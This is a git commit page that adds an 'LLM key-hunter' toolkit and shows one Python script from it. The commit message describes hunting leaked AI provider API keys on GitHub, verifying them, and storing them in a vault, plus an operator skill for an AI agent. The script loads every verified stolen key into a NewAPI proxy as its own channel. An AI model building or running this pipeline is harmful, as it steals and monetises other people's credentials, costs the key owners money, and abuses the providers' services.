Add LLM key-hunter toolkit, vault, and skill

- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
chaos committed 2026-08-02 06:02:58 +08:00
1 parent a3f698806b
commit 5d215e1649
684 files changed
+133838

No files matched your search

+184
View File
@@ -0,0 +1,184 @@
#!/usr/bin/env python3
"""Import all usable keys into NewAPI - one channel per key.
Channel name format: <Provider>_<last4ofkey>
No merging/pooling - each key gets its own channel.
"""
import sys
import os
import time
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
# Add scripts dir to path for imports
SCRIPTS_DIR = Path(__file__).resolve().parent.parent
sys.path.insert(0, str(SCRIPTS_DIR))
from newapi_client import (
add_channel, list_channel_names,
TYPE_OPENAI, TYPE_ANTHROPIC,
)
# ── Provider configs ────────────────────────────────────────────
PROVIDER_CONFIGS = {
"ZhipuAI": {
"type": TYPE_OPENAI,
"base_url": "https://open.bigmodel.cn/api/paas/v4",
"models": "glm-4v-flash,glm-4-flash,glm-4,glm-4-plus,glm-4-long,glm-4.5,glm-4.6,glm-4.7",
},
"VolcanoArk": {
"type": TYPE_OPENAI,
"base_url": "https://ark.cn-beijing.volces.com/api/v3",
"models": (
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
"doubao-seed-2-0-mini-260215,doubao-seed-2-1-pro-260628,"
"doubao-seed-2-1-turbo-260628,doubao-seed-1-6-250615,"
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
"deepseek-v4-pro-260425,glm-5-2-260617"
),
},
"MiniMax": {
"type": TYPE_OPENAI,
"base_url": "https://api.minimaxi.com/v1",
"models": "MiniMax-M2.5,MiniMax-M3,MiniMax-M2.7",
},
"DashScope": {
"type": TYPE_OPENAI,
"base_url": "https://dashscope.aliyuncs.com/compatible-mode/v1",
"models": "qwen-plus,qwen-turbo,qwen-max,qwen3.7max",
},
"LongCat": {
"type": TYPE_OPENAI,
"base_url": "https://api.longcat.chat/openai",
"models": "LongCat-2.0",
},
"SiliconFlow": {
"type": TYPE_OPENAI,
"base_url": "https://api.siliconflow.cn/v1",
"models": "Qwen/Qwen2.5-7B-Instruct,deepseek-ai/DeepSeek-V3",
},
"DeepSeek": {
"type": TYPE_OPENAI,
"base_url": "https://api.deepseek.com/v1",
"models": "deepseek-chat,deepseek-reasoner",
},
}
USABLE_FILE = Path(__file__).parent / "llm-key-hunter" / "results" / "deep_verify" / "usable.txt"
def load_usable_keys():
"""Load usable keys from file. Returns list of (provider, key, url, desc)."""
keys = []
with open(USABLE_FILE) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|")
if len(parts) >= 2:
provider = parts[0]
key = parts[1]
url = parts[2] if len(parts) > 2 else ""
desc = parts[3] if len(parts) > 3 else ""
keys.append((provider, key, url, desc))
return keys
def build_channel(provider, key):
"""Build a channel dict for a single key."""
cfg = PROVIDER_CONFIGS.get(provider)
if not cfg:
return None
last4 = key[-4:]
name = f"{provider}_{last4}"
return {
"type": cfg["type"],
"name": name,
"key": key,
"base_url": cfg["base_url"],
"models": cfg["models"],
"group": "default",
}
def import_single_channel(provider, key):
"""Import a single key as a channel. Returns (name, success, message)."""
channel = build_channel(provider, key)
if not channel:
return (channel["name"] if channel else "?", False, f"Unknown provider: {provider}")
name = channel["name"]
try:
success, message = add_channel(channel, mode="single")
return (name, success, message)
except Exception as e:
return (name, False, str(e))
def main():
keys = load_usable_keys()
print(f"Loaded {len(keys)} usable keys")
# Check existing channel names for dedup
try:
existing = list_channel_names()
print(f"Existing channels: {len(existing)}")
except Exception as e:
print(f"Warning: Could not list existing channels: {e}")
existing = set()
# Filter out providers we don't have configs for
to_import = []
skipped = []
for provider, key, url, desc in keys:
cfg = PROVIDER_CONFIGS.get(provider)
if not cfg:
skipped.append((provider, key))
continue
last4 = key[-4:]
name = f"{provider}_{last4}"
if name in existing:
skipped.append((provider, key))
continue
to_import.append((provider, key))
if skipped:
print(f"Skipping {len(skipped)} keys (unknown provider or duplicate name)")
print(f"To import: {len(to_import)} channels")
# Import with concurrency (but not too high - NewAPI might rate limit)
success_count = 0
fail_count = 0
start = time.time()
with ThreadPoolExecutor(max_workers=8) as pool:
futures = {
pool.submit(import_single_channel, provider, key): (provider, key)
for provider, key in to_import
}
for i, future in enumerate(as_completed(futures), 1):
provider, key = futures[future]
name, success, message = future.result()
if success:
success_count += 1
print(f" [{i}/{len(to_import)}] ✓ {name}")
else:
fail_count += 1
print(f" [{i}/{len(to_import)}] ✗ {name}: {message}")
elapsed = time.time() - start
print(f"\n=== Import complete ({elapsed:.1f}s) ===")
print(f" Success: {success_count}")
print(f" Failed: {fail_count}")
print(f" Skipped: {len(skipped)}")
if __name__ == "__main__":
main()